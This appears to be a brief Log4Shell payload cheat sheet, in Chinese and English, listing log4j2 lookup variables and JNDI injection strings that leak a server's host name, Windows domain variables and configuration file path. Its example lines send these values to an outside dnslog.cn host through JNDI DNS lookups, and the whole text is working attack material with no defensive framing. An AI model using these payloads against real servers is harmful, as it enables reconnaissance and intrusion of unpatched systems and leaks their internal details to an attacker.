### Fix log4j2 Tips By Default Properites
默认 Map 预先填充了 **hostName** 的值，该值是当前系统的主机名或IP地址，
参考文档：https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-configuration.html
`org.apache.logging.log4j.core.LoggerContext#setConfiguration`
```
${hostName}
${env:COMPUTERNAME}
${env:USERDOMAIN}
${env:LOGONSERVER}
```
Example:
```
// log4j2 Default，For（Windows、Linux、macOS....）
${jndi:dns://${hostName}.iwk5r1.dnslog.cn}
// Equivalent to windows command（set|findstr your-hostname）
${jndi:dns://${env:COMPUTERNAME}.iwk5r1.dnslog.cn}
${jndi:dns://${env:USERDOMAIN}.iwk5r1.dnslog.cn}
```
### log4j for configLocation
log4j: Log4j 配置属性。
表达式 `${log4j:configLocation}` 和 `${log4j:configParentLocation}` 分别提供了 `log4j 配置文件` 及其`父文件夹`的`绝对路径`。
```
${log4j:configLocation}
/xxx/apache-tomcat/webapps/xxxx/WEB-INF/classes/log4j2.xml
```
```
${log4j:configParentLocation}
/xxx/apache-tomcat/webapps/xxxx/WEB-INF/classes/
```
